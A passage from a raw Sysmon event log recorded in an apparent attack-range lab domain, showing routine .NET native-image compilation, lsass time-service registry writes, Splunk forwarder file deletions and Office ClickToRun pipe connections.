NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000040570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.581{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F32-613B-7208-00000000F001}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.565{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.565{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}5524C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:04.922{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33E24185C0F6E1233D0EC9C5245B4512,SHA256=2223989606F716D6F7E2222FBB969E70E721FC48045FE1546F1C2FD3C27B7AAF,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000013806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000013805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x001c7d46) 13241300x800000000000000013804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a649-0xeacf8add) 13241300x800000000000000013803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0x4c93f2dd) 13241300x800000000000000013802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65a-0xae585add) 13241300x800000000000000013801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000013800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x001c7d46) 13241300x800000000000000013799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a649-0xeacf8add) 13241300x800000000000000013798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0x4c93f2dd) 13241300x800000000000000013797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:44:04.031{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65a-0xae585add) 11241100x800000000000000040583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:03.737{7BD73061-6F33-613B-7508-00000000F001}6888C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1ae8-0\Microsoft.Office.Tools.Outlook.Implementation.dll2021-09-10 14:44:03.737 10341000x800000000000000040582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.581{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F33-613B-7508-00000000F001}6888C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.565{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F33-613B-7508-00000000F001}6888C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.565{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F33-613B-7508-00000000F001}6888C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000040579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.503{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F33-613B-7408-00000000F001}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.487{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.487{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}224C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:05.937{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15CC35F90CC9EDF8048B60A320B49CC2,SHA256=498B408F3B561D0C9F1F60D0F85C53F8DB1A4857535AA732242BD84925279AC6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.924{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.dbMD5=248C031F7131D386D0F52080564A0251,SHA256=64618B6BCD3372411FADDFF22CFE8DBFC94BAB4363E0E57CEBC974710B96AD22,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:06.953{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=496FE7167998C35D56902C161E859CE5,SHA256=E7CCD02759D39BB37D506046F1A2F392058CF4185F1ADF2080E68E909992293C,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.987{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 11241100x800000000000000041119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:06.971{7BD73061-6F36-613B-8F08-00000000F001}2928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\b70-0\Microsoft.Office.Tools.Word.dll2021-09-10 14:44:06.971 23542300x800000000000000041118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E4613AD6B3CEF79167127B581DC8C56A,SHA256=34573F0F656FB8913EABB8DEEE4DBEC6EF20FA4AD19A413F9A47B891E028D1A5,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.877{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.862{7BD73061-65B2-613B-1400-00000000F001}3402296C:\Windows\system32\svchost.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.862{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.799{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.784{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.768{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.737{7BD73061-65B2-613B-1000-00000000F001}364NT AUTHORITY\LOCAL SERVICEC:\Windows\system32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\FontCache-Obsolete-640.datMD5=F0672F866B57A47D92D6037AD4D06BD2,SHA256=47BFAA8A3688D1B53EB76A427657E62DA8560689EAFB473F01423A09FBB82C69,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.737{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC6648A713FC67CBFA3FA1B618CB57B2,SHA256=94949102581F62EE51EBB4D3D0D177D9DFDA98EB514D9F10A204C1AE47EA220A,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.721{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.706{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F36-613B-8F08-00000000F001}2928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.659{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F36-613B-8F08-00000000F001}2928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.659{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F36-613B-8F08-00000000F001}2928C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.303